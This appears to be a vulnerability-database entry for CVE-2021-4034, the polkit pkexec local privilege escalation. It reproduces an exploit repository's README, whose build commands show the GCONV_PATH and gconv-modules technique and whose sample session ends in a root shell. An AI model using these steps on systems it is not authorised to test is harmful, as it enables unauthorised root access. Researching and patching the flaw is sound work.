CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/vilasboasph/CVE-2021-4034

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。

Readme

# CVE-2021-4034
One day for the polkit privilege escalation exploit

Just execute `make`, `./cve-2021-4034` and enjoy your root shell.

The original advisory by the real authors is [here](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)

## PoC
If the exploit is working you'll get a root shell immediately:

```bash
localuser@ubuntu-poc:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
localuser@ubuntu-poc:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
```

Updating polkit on most systems will patch the exploit, therefore you'll get the usage and the program will exit:
```bash
localuser@ubuntu-poc:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
localuser@ubuntu-poc:~/CVE-2021-4034$
```

File Snapshot


 [4.0K]  /data/pocs/4cba6fcbd236adf79eba3e74767c528392c6d54f
├── [ 274]  cve-2021-4034.c
├── [ 400]  Makefile
├── [ 266]  pwnkit.c
└── [1.0K]  README.md

0 directories, 4 files

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